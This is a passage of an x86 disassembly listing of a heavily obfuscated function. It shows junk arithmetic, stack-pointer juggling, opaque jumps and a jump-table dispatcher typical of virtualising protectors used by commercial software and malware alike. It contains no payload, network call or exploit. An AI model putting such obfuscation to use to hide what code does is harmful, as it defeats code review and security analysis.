		add	ebp, 4
		jmp	loc_59F462
; ---------------------------------------------------------------------------
		mov	eax, [esp+2+var_4+2]
		sub	esp, 4
		mov	[esp+6+var_8+2], eax
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], esp
		sub	esp, 4
		jmp	loc_59E55C
; ---------------------------------------------------------------------------


loc_5A3E8B:				; CODE XREF: sub_58A891+19502j
		add	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 1AA10F0h
		sub	ecx, eax
		pop	eax
		pop	ebx
		push	ebx
		mov	ebx, 73952A74h
		shr	ebx, 8
		not	ebx
		sub	ebx, 963DECDBh
		add	ecx, ebx
		pop	ebx
		push	760Ch
		mov	[esp+0Eh+var_10+2], edi
		push	ebp
		mov	ebp, 0E47918C1h
		mov	edi, ebp
		pop	ebp
		sub	ecx, 23850E15h
		add	ecx, edi
		add	ecx, 23850E15h
		jmp	loc_5A270D
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_5AA2F4
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+12h+var_14+2]
		jmp	loc_5A5FA4
; ---------------------------------------------------------------------------


loc_5A3EDF:				; CODE XREF: sub_58A891+27EE5j
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp+0Eh+var_10+2]
		pop	esp
		jmp	loc_5B1813
; ---------------------------------------------------------------------------


loc_5A3EEB:				; CODE XREF: sub_58A891+22D58j
		pop	esi
		or	edi, 3712A8Ah
		sub	edi, 0FFFFFFFFh
		jmp	loc_5A7EC6
; ---------------------------------------------------------------------------


loc_5A3EFA:				; CODE XREF: sub_58A891+16DC2j
		inc	ebx
		jno	loc_5ACB82
		xor	ebx, 0D924DBD7h
		mov	esi, ebx
		jmp	loc_59F673
; ---------------------------------------------------------------------------
		mov	cl, dl


loc_5A3F10:				; CODE XREF: sub_58A891+1E4A8j
		pop	edx
		jmp	loc_5A0B6E
; ---------------------------------------------------------------------------


loc_5A3F16:				; CODE XREF: sub_58A891+21404j
		add	ebx, ecx
		jmp	loc_5A909C
; ---------------------------------------------------------------------------


loc_5A3F1D:				; CODE XREF: sub_58A891+18525j
		shl	ecx, 3
		jns	loc_5A32CD
		add	ecx, 92CCCE1Fh
		jmp	loc_5B0639
; ---------------------------------------------------------------------------


loc_5A3F31:				; CODE XREF: sub_58A891+1EA52j
		neg	ah
		sub	ah, 0FFh
		inc	ah
		xor	ah, 0BAh
		sub	ah, 4Eh
		xor	cl, ah
		pop	eax
		sub	bl, cl
		pop	ecx
		movzx	eax, al
		push	small 3328h
		jmp	loc_59ED9F
; ---------------------------------------------------------------------------


loc_5A3F50:				; CODE XREF: sub_58A891+2728Aj
		xor	esi, edi
		pop	edi
		push	ecx
		push	edi
		push	2F183139h
		jmp	loc_5A52CE
; ---------------------------------------------------------------------------


loc_5A3F5F:				; CODE XREF: sub_58A891+12E57j
		inc	byte ptr [esp+0]
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A3F68:				; CODE XREF: sub_58A891+1397Bj
		sub	edx, 0FFFFFFFFh
		jmp	loc_5AC112
; ---------------------------------------------------------------------------


loc_5A3F70:				; CODE XREF: sub_58A891+1FDBDj
		xchg	ecx, [esp+1Ah+var_1C+2]
		pop	esp
		shr	ecx, 2
		push	edx
		push	esp
		mov	edx, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_59D357
; ---------------------------------------------------------------------------


loc_5A3F87:				; CODE XREF: sub_58A891+200D3j
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ebx
		jmp	loc_5A9ADB
; ---------------------------------------------------------------------------


loc_5A3F92:				; CODE XREF: sub_58A891+2398Cj
		push	edx
		mov	dh, 77h
		mov	al, dh
		jmp	loc_5A4255
; ---------------------------------------------------------------------------


loc_5A3F9C:				; CODE XREF: sub_58A891+261AEj
		pop	edi
		push	eax
		mov	eax, 4
		sub	edi, 4F1C3E16h
		jmp	loc_5B119E
; ---------------------------------------------------------------------------


loc_5A3FAE:				; CODE XREF: sub_58A891+21C3Cj
		push	77A72EF2h
		pop	eax
		add	eax, 99322D88h
		jmp	loc_5B2D0D
; ---------------------------------------------------------------------------


loc_5A3FBE:				; CODE XREF: sub_58A891+1474Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0A2h+var_A2]
		pop	esp
		push	73B0h
		jmp	loc_59FCCC
; ---------------------------------------------------------------------------


loc_5A3FDB:				; CODE XREF: sub_58A891+25255j
		push	ebx
		jmp	loc_5A82F7
; ---------------------------------------------------------------------------


loc_5A3FE1:				; CODE XREF: sub_58A891+2537Fj
		push	ecx
		mov	ecx, 36F5839h
		jmp	loc_5A311E
; ---------------------------------------------------------------------------


loc_5A3FEC:				; CODE XREF: sub_58A891+24118j
		add	esp, 4
		add	ebx, 265B665Dh
		sub	ebx, ebp
		sub	ebx, 265B665Dh
		pop	ebp
		xor	ebx, [esp+0A2h+var_A2]
		xor	[esp+0A2h+var_A2], ebx
		xor	ebx, [esp+0A2h+var_A2]
		mov	esp, [esp+0A2h+var_A2]
		jmp	loc_5A1B61
; ---------------------------------------------------------------------------


loc_5A400F:				; CODE XREF: sub_58A891+1768Bj
		mov	[esp+0B6h+var_B6], ebx
		mov	ebx, 20503C12h
		shl	ebx, 1
		push	edx
		push	edi
		mov	edi, 22344319h
		add	edi, 1A1E5040h
		shl	edi, 6
		jp	loc_5A7160
		jmp	loc_5AF346
; ---------------------------------------------------------------------------


loc_5A4034:				; CODE XREF: sub_58A891+203C4j
		sub	edi, ebp
		sub	edi, 20F80637h
		pop	ebp
		mov	ecx, edi
		mov	edi, [esp+0BAh+var_BA]
		jmp	loc_5A4A0C
; ---------------------------------------------------------------------------


loc_5A4047:				; CODE XREF: sub_58A891+1C07Dj
		push	esi
		jmp	loc_59DF2A
; ---------------------------------------------------------------------------


loc_5A404D:				; CODE XREF: sub_58A891+269EAj
		dec	edi
		jl	loc_5AFAF9
		jmp	loc_5AC577
; ---------------------------------------------------------------------------


loc_5A4059:				; CODE XREF: sub_58A891+1637Ej
		add	eax, 1FBA0E14h
		xor	ebp, eax
		push	[esp+12h+var_14+2]
		pop	eax
		jmp	loc_5A1B93
; ---------------------------------------------------------------------------


loc_5A4069:				; CODE XREF: sub_58A891+16998j
		push	4C195037h
		pop	ebp
		or	ebp, 12180631h
		sub	ebp, 5E195636h
		mov	esi, ebp
		pop	ebp
		sub	eax, 43D503EAh
		sub	eax, esi
		add	eax, 43D503EAh
		pop	esi
		shl	eax, 1
		jp	loc_5A8934
		push	ecx
		jmp	loc_5B1AC7
; ---------------------------------------------------------------------------


loc_5A4099:				; CODE XREF: sub_58A891+15203j
		mov	eax, [esp-0Ah+arg_0+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_59EAC8
; ---------------------------------------------------------------------------


loc_5A40A7:				; CODE XREF: sub_58A891+14905j
		mov	[esp+0CAh+var_CC+2], ecx
		mov	ecx, 6C930E6Ah
		sub	eax, ecx
		mov	ecx, [esp+0CAh+var_CC+2]
		add	esp, 4
		add	eax, ebx
		push	0EB9h
		mov	[esp+0CAh+var_CC+2], ebx
		push	ebp
		jmp	loc_5A3CA3
; ---------------------------------------------------------------------------


loc_5A40C7:				; CODE XREF: sub_58A891+17B25j
		xchg	edi, [esp+0A2h+var_A2]
		mov	esp, [esp+0A2h+var_A2]
		mov	[esp+0A2h+var_A2], ebx
		sub	esp, 4
		push	734Bh
		mov	[esp+0AAh+var_AA], esp
		push	esi
		jmp	loc_5AE29B
; ---------------------------------------------------------------------------


loc_5A40E1:				; CODE XREF: sub_58A891+25E12j
		mov	edx, 21AD025Ah
		not	edx
		xor	edx, 0D6B4EE9Bh
		jmp	loc_5A394B
; ---------------------------------------------------------------------------


loc_5A40F3:				; CODE XREF: sub_58A891+153EBj
					; sub_58A891+257D7j
		mov	edx, [esp-0Ah+arg_0+2]
		add	esp, 4
		dec	ebp
		jmp	loc_5AE313
; ---------------------------------------------------------------------------


loc_5A40FF:				; CODE XREF: sub_58A891+20092j
		add	esp, 4
		push	6111h
		mov	[esp-0Eh+arg_4+2], esi
		jmp	loc_59FB20
; ---------------------------------------------------------------------------


loc_5A4112:				; CODE XREF: sub_58A891+1E8F7j
		add	esp, 4
		xor	ecx, eax
		pop	eax
		jmp	loc_5ABC8D
; ---------------------------------------------------------------------------


loc_5A411D:				; CODE XREF: sub_58A891+1923Bj
		push	60C2h
		mov	[esp+8Ah+var_8A], edi
		push	edx
		jmp	loc_5A52A3
; ---------------------------------------------------------------------------


loc_5A412B:				; CODE XREF: sub_58A891+1E34Cj
		add	esp, 4
		jmp	loc_5A23BB
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+8Ah+var_8A]
		push	esi
		jmp	loc_5A62FB
; ---------------------------------------------------------------------------


loc_5A413D:				; CODE XREF: sub_58A891+16472j
		mov	dh, al
		mov	bl, dh
		pop	edx
		pop	eax
		jmp	loc_5A1CAD
; ---------------------------------------------------------------------------


loc_5A4148:				; CODE XREF: sub_58A891+274C2j
		pop	esp
		jmp	loc_5A0377
; ---------------------------------------------------------------------------


loc_5A414E:				; CODE XREF: sub_58A891+17E77j
		xor	[esp+84h+var_86+2], edi
		xor	edi, [esp+84h+var_86+2]
		mov	esp, [esp+84h+var_86+2]
		mov	ax, word ptr [esp+84h+var_86+2]
		jmp	loc_59FBF9
; ---------------------------------------------------------------------------
		push	[esp+84h+var_86+2]
		push	[esp+88h+var_8A+2]
		jmp	loc_5A0775
; ---------------------------------------------------------------------------


loc_5A416B:				; CODE XREF: sub_58A891+17B3Ej
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_5A5A48
; ---------------------------------------------------------------------------


loc_5A4178:				; CODE XREF: sub_58A891+16E30j
		sub	ebp, 0B7FDFEBAh
		sub	esp, 4
		mov	[esp+84h+var_86+2], ebp
		pop	ebx
		mov	ebp, [esp+80h+var_82+2]
		jmp	loc_5ACC49
; ---------------------------------------------------------------------------


loc_5A418D:				; CODE XREF: sub_58A891+12DABj
		not	eax
		jmp	loc_59EC85
; ---------------------------------------------------------------------------


loc_5A4194:				; CODE XREF: sub_58A891+12E17j
					; sub_58A891+1BA7Bj
		xchg	esi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		mov	[esp+6+var_8+2], esi
		push	esp
		pop	esi
		push	7874h
		mov	[esp+0Ah+var_C+2], edx
		mov	edx, 7D8A6C46h
		neg	edx
		add	edx, 1
		push	esi
		mov	esi, 827593BFh
		xor	edx, esi
		jmp	loc_5B0B63
; ---------------------------------------------------------------------------


loc_5A41BE:				; CODE XREF: sub_58A891+21B84j
		pop	ebx
		push	esi
		mov	esi, 64564339h
		sub	esi, 64564335h
		add	ebx, esi
		pop	esi
		push	esi
		push	1CB2h
		mov	[esp+12h+var_14+2], ebx
		mov	ebx, 3C32AAEh
		jmp	loc_5AA5BA
; ---------------------------------------------------------------------------


loc_5A41E1:				; CODE XREF: sub_58A891+23F21j
		xor	eax, 1214F217h
		mov	edi, eax
		mov	eax, [esp+12h+var_14+2]
		jmp	loc_5ABC29
; ---------------------------------------------------------------------------


loc_5A41F0:				; CODE XREF: sub_58A891+18B39j
		push	ebx
		mov	ebx, 0BBAFC108h
		sub	eax, ebx
		pop	ebx
		sub	ebx, 527276CDh
		add	ebx, 678A0098h
		add	ebx, eax
		sub	ebx, 678A0098h
		add	ebx, 527276CDh
		pop	eax
		push	[esp-12h+arg_8+2]
		jmp	loc_5B0138
; ---------------------------------------------------------------------------


loc_5A421C:				; CODE XREF: sub_58A891+1D03Dj
		sub	eax, 4D65440Fh
		sub	eax, 0D692FC6h
		sub	eax, ebx
		add	eax, 0D692FC6h
		add	eax, 4D65440Fh
		mov	ebx, [esp-0Eh+arg_4+2]
		jmp	loc_5AE184
; ---------------------------------------------------------------------------


loc_5A423A:				; CODE XREF: sub_58A891+1FEBBj
		xor	[esp-0Eh+arg_4+2], edx
		xor	edx, [esp-0Eh+arg_4+2]
		mov	esp, [esp-0Eh+arg_4+2]
		push	3FACh
		mov	[esp-0Ah+arg_0+2], eax
		mov	eax, 4
		jmp	loc_5B15B1
; ---------------------------------------------------------------------------


loc_5A4255:				; CODE XREF: sub_58A891+19706j
		mov	edx, [esp+22h+var_24+2]
		add	esp, 4
		jmp	loc_5A6373
; ---------------------------------------------------------------------------


loc_5A4263:				; CODE XREF: sub_58A891+26119j
		push	ebx
		pop	edi
		jmp	loc_5A2A3D
; ---------------------------------------------------------------------------


loc_5A426A:				; CODE XREF: sub_58A891+1FBB4j
		mov	dh, bl
		pop	ebx
		push	eax
		push	ebx
		mov	bl, 26h
		and	bl, 13h
		push	eax
		mov	al, 0E6h
		add	al, 0C8h
		xor	bl, al
		pop	eax
		mov	ah, bl
		mov	ebx, [esp+22h+var_24+2]
		jmp	loc_5AEA7E
; ---------------------------------------------------------------------------


loc_5A4286:				; CODE XREF: sub_58A891+1D373j
		jbe	loc_5A36B9
		sub	eax, 12E699BEh
		jmp	loc_5A818D
; ---------------------------------------------------------------------------
		mov	eax, [esp+22h+var_24+2]
		push	edx


loc_5A429A:				; CODE XREF: sub_58A891+1F34Fj
		pop	edx
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		jmp	locret_5A134E
; ---------------------------------------------------------------------------


loc_5A42A7:				; CODE XREF: sub_58A891+18F19j
		pop	[esp+7Ch+var_7E+2]
		pop	esp
		jmp	loc_5A3094
; ---------------------------------------------------------------------------


loc_5A42B0:				; CODE XREF: sub_58A891+17AAAj
		jmp	loc_5B07EE
; ---------------------------------------------------------------------------


loc_5A42B5:				; CODE XREF: sub_58A891+18086j
		dec	edi
		push	7B81h
		mov	[esp+32h+var_34+2], esi
		jmp	loc_5A2CE7
; ---------------------------------------------------------------------------


loc_5A42C3:				; CODE XREF: sub_58A891+150A5j
					; sub_58A891+150BBj
		pop	edi
		push	1FA6h
		mov	[esp+32h+var_34+2], ecx
		mov	ecx, 2
		push	ecx
		mov	ecx, 4B33042Ch
		sub	ebp, 10D86609h
		jmp	loc_5B26C2
; ---------------------------------------------------------------------------


loc_5A42E2:				; CODE XREF: sub_58A891+2039Bj
		push	ax
		jmp	loc_59DB7C
; ---------------------------------------------------------------------------


loc_5A42E9:				; CODE XREF: sub_58A891+1FB06j
					; sub_58A891+28083j
		mov	fs:[edx], al
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A42F1:				; CODE XREF: sub_58A891+161B9j
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		jmp	loc_59CE1A
; ---------------------------------------------------------------------------


loc_5A42FC:				; CODE XREF: sub_58A891+276B7j
		pop	ebx
		pop	[esp-0Ah+arg_0+2]
		pop	esp
		mov	ecx, [esp-12h+arg_8+2]
		jmp	loc_5A73B7
; ---------------------------------------------------------------------------


loc_5A4309:				; CODE XREF: sub_58A891+17D0Bj
					; sub_58A891:loc_5A4D7Aj
		xor	ecx, 5E7822B9h
		mov	edx, ecx
		pop	ecx
		jmp	loc_5A648B
; ---------------------------------------------------------------------------


loc_5A4317:				; CODE XREF: sub_58A891+1935Cj
		add	esp, 4
		sub	edx, 3CBB09A4h
		add	edx, edi
		push	edi
		mov	edi, 3CBB09A4h
		jmp	loc_5A7356
; ---------------------------------------------------------------------------


loc_5A4330:				; CODE XREF: sub_58A891+153D6j
					; sub_58A891+2130Dj
		add	eax, ebx
		push	ecx
		mov	ecx, 3571EABh
		jmp	loc_5A2E20
; ---------------------------------------------------------------------------


loc_5A433D:				; CODE XREF: sub_58A891+15AC2j
					; sub_58A891+263C6j
		push	edx
		push	1B4B619Ah
		jmp	loc_5AF321
; ---------------------------------------------------------------------------


loc_5A4348:				; CODE XREF: sub_58A891+1C885j
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_5A0A77
; ---------------------------------------------------------------------------


loc_5A4355:				; CODE XREF: sub_58A891+1C321j
		push	esi
		mov	esi, 5A104720h
		add	ebx, esi
		pop	esi
		jmp	loc_5A5051
; ---------------------------------------------------------------------------


loc_5A4363:				; CODE XREF: sub_58A891+206EDj
		pop	esp
		add	esp, 4
		xchg	ebx, [esp+94h+var_96+2]
		mov	esp, [esp+94h+var_96+2]
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_59FFBC
; ---------------------------------------------------------------------------


loc_5A4379:				; CODE XREF: sub_58A891+1EB9Fj
		mov	ebx, 31D01F19h
		add	ebp, ebx
		pop	ebx
		shr	ebp, 5
		or	ebp, 7539660Eh
		add	ebp, 9BB22A3Ch
		add	ebx, ebp
		pop	ebp
		sub	ebx, 1B0E36B9h
		add	ebx, eax
		add	ebx, 1B0E36B9h
		push	esi
		mov	esi, 5896673Ah
		dec	esi
		xor	esi, 77100C93h
		jmp	loc_5A9F8B
; ---------------------------------------------------------------------------


loc_5A43B3:				; CODE XREF: sub_58A891+1BECDj
		push	edi
		push	0C1B1D12h
		pop	edi
		push	eax
		push	edi
		push	edx
		jmp	loc_5A4DEB
; ---------------------------------------------------------------------------


loc_5A43C2:				; CODE XREF: sub_58A891+1F4C4j
		mov	ebx, 75642C6Eh
		add	ebx, 7F2C7C35h
		jl	loc_5A7758
		and	ebx, 670C41EAh
		inc	ebx
		jmp	loc_59CB13
; ---------------------------------------------------------------------------


loc_5A43DF:				; CODE XREF: sub_58A891+1F193j
		push	esi
		jmp	loc_5AD62B
; ---------------------------------------------------------------------------


loc_5A43E5:				; CODE XREF: sub_58A891+2740Dj
		shl	bl, 5
		jmp	loc_5A8BA3
; ---------------------------------------------------------------------------


loc_5A43ED:				; CODE XREF: sub_58A891+15662j
		add	esp, 4
		push	28B8h
		mov	[esp+7Ch+var_7E+2], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+80h+var_82+2]
		pop	esp
		mov	[esp+7Ch+var_7E+2], eax
		push	edi
		push	5133B4F3h
		pop	edi
		push	4897h
		jmp	loc_59D83A
; ---------------------------------------------------------------------------


loc_5A4422:				; CODE XREF: sub_58A891+20243j
		mov	ecx, ebx
		mov	ebx, [esp+84h+var_86+2]
		add	esp, 4
		jmp	loc_59BFBE
; ---------------------------------------------------------------------------


loc_5A442F:				; CODE XREF: sub_58A891+2491Ej
		mov	[esp+80h+var_82+2], edx
		jmp	loc_5AF493
; ---------------------------------------------------------------------------


loc_5A4437:				; CODE XREF: sub_58A891+279B4j
		push	2084h
		mov	[esp+84h+var_86+2], edi
		sub	esp, 4
		mov	[esp+88h+var_8A+2], esp
		add	[esp+88h+var_8A+2], 4
		pop	edi
		jmp	loc_5A9636
; ---------------------------------------------------------------------------


loc_5A4455:				; CODE XREF: sub_58A891+1B7F6j
		push	[esp+84h+var_86+2]
		pop	edi
		add	esp, 4
		jmp	loc_5A61CA
; ---------------------------------------------------------------------------


loc_5A4464:				; CODE XREF: sub_58A891+131EAj
		push	ebx
		mov	ebx, 36082E2Fh
		shl	ebx, 1
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 3B376BC4h
		shr	ebx, 6
		jmp	loc_59CF6E
; ---------------------------------------------------------------------------


loc_5A447D:				; CODE XREF: sub_58A891+15AB3j
					; sub_58A891+17F69j
		pop	edx
		sub	ebx, eax
		jmp	loc_5AC3E3
; ---------------------------------------------------------------------------


loc_5A4485:				; CODE XREF: sub_58A891+138E1j
		mov	ebx, 15D173A7h
		xor	ebx, 65D75CC3h
		push	esi
		mov	esi, 0A9514F87h
		add	ebx, esi
		pop	esi
		jmp	loc_5A080A
; ---------------------------------------------------------------------------


loc_5A449E:				; CODE XREF: sub_58A891+21A27j
		sub	al, 9Eh
		pop	ebx
		sub	al, 0C5h
		sub	al, bh
		jmp	loc_5A8799
; ---------------------------------------------------------------------------


loc_5A44AA:				; CODE XREF: sub_58A891:loc_59DC1Aj
		jmp	loc_5AFB0F
; ---------------------------------------------------------------------------


loc_5A44AF:				; CODE XREF: sub_58A891+16645j
		add	ebx, eax
		jmp	loc_5AD43B
; ---------------------------------------------------------------------------


loc_5A44B6:				; CODE XREF: sub_58A891+22717j
		push	eax
		mov	eax, 340D45D9h
		add	edi, eax
		pop	eax
		add	edi, ecx
		push	ebx
		push	ebp
		mov	ebp, 2D406E85h
		mov	ebx, 0E2706CDh
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 13120044h
		not	eax
		sub	eax, 1
		add	eax, 4AB23449h
		jmp	loc_5AB128
; ---------------------------------------------------------------------------


loc_5A44E5:				; CODE XREF: sub_58A891+254A7j
		mov	ecx, edx
		pop	edx
		jmp	loc_5A01ED
; ---------------------------------------------------------------------------


loc_5A44ED:				; CODE XREF: sub_58A891+1E8CCj
		mov	edx, [esp+0Eh+var_10+2]
		add	esp, 4
		push	[esp+0Ah+var_C+2]
		pop	esi
		add	esp, 4
		push	44C5h
		jmp	loc_59E9EA
; ---------------------------------------------------------------------------


loc_5A4507:				; CODE XREF: sub_58A891+1D42Ej
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------
		push	[esp+10h+var_C]
		mov	eax, [esp+14h+var_14]
		push	2C50h
		mov	[esp+18h+var_18], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], edx
		jmp	loc_5AE5AE
; ---------------------------------------------------------------------------


loc_5A454A:				; CODE XREF: sub_58A891+1B6CAj
		jmp	loc_5B0937
; ---------------------------------------------------------------------------


loc_5A454F:				; CODE XREF: sub_58A891:loc_5A2ACBj
		neg	ebp
		jns	loc_5B101F
		jmp	loc_5ABC34
; ---------------------------------------------------------------------------


loc_5A455C:				; CODE XREF: sub_58A891+27EAFj
		inc	esi
		xor	esi, 4EAB785Dh
		or	esi, 49160490h
		push	edx
		mov	edx, 55A4E452h
		sub	esi, 32A11C6Fh
		jmp	loc_5A9195
; ---------------------------------------------------------------------------


loc_5A457A:				; CODE XREF: sub_58A891+25718j
		pop	ecx
		add	bh, ch
		add	bh, 86h
		push	37A2h
		jmp	loc_5A56BA
; ---------------------------------------------------------------------------


loc_5A458A:				; CODE XREF: sub_58A891+23F5Cj
		xor	edx, 4E8D4755h
		push	[esp+92h+var_92]
		pop	esi
		add	esp, 4
		sub	[edi+24h], edx
		jmp	loc_59D5C8
; ---------------------------------------------------------------------------


loc_5A45A2:				; CODE XREF: sub_58A891+16935j
		add	ebp, 1093D502h
		xor	ebx, ebp
		jmp	loc_5B0924
; ---------------------------------------------------------------------------


loc_5A45AF:				; CODE XREF: sub_58A891+17E0Dj
		mov	[esp+8Ch+var_8E+2], esi
		mov	esi, 4
		add	edx, 735E3AA2h
		jmp	loc_5A9DE8
; ---------------------------------------------------------------------------


loc_5A45C2:				; CODE XREF: sub_58A891+25F13j
		mov	[esp+8Ch+var_8E+2], ebp
		mov	ebp, 731F09F0h
		add	esi, 1248498Bh
		sub	esi, ebp
		sub	esi, 1248498Bh
		jmp	loc_5B0F88
; ---------------------------------------------------------------------------


loc_5A45DD:				; CODE XREF: sub_58A891+164C4j
		pop	edi
		mov	eax, esi
		pop	esi
		push	esi
		jmp	loc_59F5FE
; ---------------------------------------------------------------------------


loc_5A45E7:				; CODE XREF: sub_58A891+234CBj
		sub	[esp+80h+var_7E+2], ebx
		pop	ebx
		jmp	loc_59EE62
; ---------------------------------------------------------------------------


loc_5A45F1:				; CODE XREF: sub_58A891+139DEj
		pop	esp
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A45F7:				; CODE XREF: sub_58A891:loc_5A9FD1j
		add	ecx, 3020C204h
		add	edi, ecx
		push	[esp+1Eh+var_20+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5A6D68
; ---------------------------------------------------------------------------


loc_5A460B:				; CODE XREF: sub_58A891+16D53j
		add	al, 52h
		sub	al, bh
		sub	al, 52h
		add	al, 43h
		mov	ebx, [esp+32h+var_34+2]
		sub	esp, 4
		jmp	loc_5AC905
; ---------------------------------------------------------------------------


loc_5A461E:				; CODE XREF: sub_58A891+14331j
		mov	esp, [esp-1Eh+arg_18+2]
		push	edx
		push	esp
		jmp	loc_5ACAFC
; ---------------------------------------------------------------------------


loc_5A4628:				; CODE XREF: sub_58A891+1A1C7j
					; sub_58A891+256C8j
		add	esi, 0FF70ED7Ah
		add	ebp, esi
		pop	esi
		pop	ebx
		push	eax
		mov	eax, 0B0261054h
		xor	ebp, eax
		pop	eax
		jmp	loc_5AB621
; ---------------------------------------------------------------------------


loc_5A4640:				; CODE XREF: sub_58A891+1C7BAj
		add	eax, 254024E9h
		jmp	loc_59CA6E
; ---------------------------------------------------------------------------


loc_5A464A:				; CODE XREF: sub_58A891+2852Bj
		sub	edx, 0C622260h
		jo	loc_5A05E9
		add	edx, 0F000667h
		push	edi
		jmp	loc_5A1495
; ---------------------------------------------------------------------------


loc_5A4662:				; CODE XREF: sub_58A891+1C6A2j
		pop	ecx
		mov	edi, 79CC59EBh
		jmp	loc_5A011A
; ---------------------------------------------------------------------------


loc_5A466D:				; CODE XREF: sub_58A891+14940j
		xor	eax, [esp+0BEh+var_BE]
		pop	esp
		mov	[esp+0BAh+var_BA], edi
		jmp	loc_5AF085
; ---------------------------------------------------------------------------


loc_5A4679:				; CODE XREF: sub_58A891+222E2j
		pop	edx
		mov	edx, esi
		pop	esi
		add	[esp+0B2h+var_AA], edx
		jmp	loc_5A9150
; ---------------------------------------------------------------------------


loc_5A4686:				; CODE XREF: sub_58A891+1AB38j
					; sub_58A891+26A55j
		mov	edx, [esp+0B2h+var_B2]
		jmp	loc_5AC2EC
; ---------------------------------------------------------------------------


loc_5A468E:				; CODE XREF: sub_58A891+1EF52j
		mov	ecx, 4
		jmp	loc_5A9F1A
; ---------------------------------------------------------------------------


loc_5A4698:				; CODE XREF: sub_58A891:loc_5AD639j
		shr	ecx, 5
		jnp	loc_5AC852
		jmp	loc_5A0241
; ---------------------------------------------------------------------------


loc_5A46A6:				; CODE XREF: sub_58A891+1D1CCj
		push	esi
		push	edx
		jmp	loc_5B2DB4
; ---------------------------------------------------------------------------


loc_5A46AD:				; CODE XREF: sub_58A891+27B1Aj
		push	small word ptr [esp+0BAh+var_BA+2]
		jmp	loc_59E8CD
; ---------------------------------------------------------------------------


loc_5A46B7:				; CODE XREF: sub_58A891+129B7j
		add	ecx, 4
		xor	ecx, [esp+7Ah+var_7A]
		xor	[esp+7Ah+var_7A], ecx
		xor	ecx, [esp+7Ah+var_7A]
		pop	esp
		add	esp, 4
		push	ebp
		mov	ebp, 63144FC5h
		add	edx, 3ECD671Ah
		sub	edx, ebp
		push	3EE9h
		mov	[esp+7Ah+var_7A], ebp
		mov	ebp, 75013E7Ah
		jmp	loc_5A34B4
; ---------------------------------------------------------------------------


loc_5A46EA:				; CODE XREF: sub_58A891+14A86j
		or	ebp, 7C49172Bh
		jmp	loc_59D7CC
; ---------------------------------------------------------------------------


loc_5A46F5:				; CODE XREF: sub_58A891+20B48j
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp+0D6h+var_D8+2], edx
		mov	edx, 4
		add	ecx, 5C9A769Ch
		sub	ecx, edx
		sub	ecx, 5C9A769Ch
		pop	edx
		xchg	ecx, [esp+0D2h+var_D4+2]
		pop	esp
		mov	[esp+0CEh+var_D0+2], ecx
		push	6058h
		mov	[esp+0D2h+var_D4+2], ebx
		jmp	loc_5A6FCB
; ---------------------------------------------------------------------------


loc_5A472D:				; CODE XREF: sub_58A891+27A90j
		mov	ebp, edx
		push	[esp+0D2h+var_D4+2]
		mov	edx, [esp+0D6h+var_D8+2]
		add	esp, 4
		add	esp, 4
		add	esi, ebp
		pop	ebp
		xor	eax, esi
		push	[esp+0CAh+var_CC+2]
		pop	esi
		sub	esp, 4
		mov	[esp+0CEh+var_D0+2], ebx
		jmp	loc_59E98C
; ---------------------------------------------------------------------------


loc_5A4752:				; CODE XREF: sub_58A891+2555Fj
		add	ebx, esi
		mov	esi, [esp+0CEh+var_D0+2]
		add	esp, 4
		push	edi
		mov	edi, 514659E5h
		shl	edi, 6
		xor	edi, 72910023h
		sub	edi, 38A066E9h
		add	edi, 90153E7Fh
		add	ebx, edi
		pop	edi
		pop	edx
		sub	ebx, eax
		add	ebx, 0B937568h
		jmp	loc_5B0B71
; ---------------------------------------------------------------------------


loc_5A4789:				; CODE XREF: sub_58A891+1FD38j
		add	ebx, 0FF801125h
		push	edx
		mov	edx, ebx
		mov	esi, edx
		pop	edx
		pop	ebx
		sub	ebx, 6DB02314h
		add	ebx, esi
		add	ebx, 6DB02314h
		pop	esi
		xchg	ebx, [esp+0BEh+var_BE]
		pop	esp
		sub	[edi+24h], ebx
		push	[esp+0BAh+var_BA]
		pop	ebx
		sub	esp, 4
		mov	[esp+0BEh+var_BE], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 199035F4h
		xor	ecx, 199035F0h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+0BEh+var_BE]
		pop	esp


loc_5A47D4:				; CODE XREF: sub_58A891+16332j
		push	ebx
		push	ecx
		mov	ecx, 65282896h
		jmp	loc_5AAFBA
; ---------------------------------------------------------------------------


loc_5A47E0:				; CODE XREF: sub_58A891+1C4E0j
		sub	ecx, 794C647Dh
		add	ecx, 0F1D7C4Ch
		add	ecx, ebx
		push	edx
		mov	edx, 3EFC0EEDh
		xor	edx, 282B15FAh
		jmp	loc_5AD125
; ---------------------------------------------------------------------------


loc_5A47FF:				; CODE XREF: sub_58A891+1AFE7j
		xor	ebp, [esp+0C6h+var_C8+2]
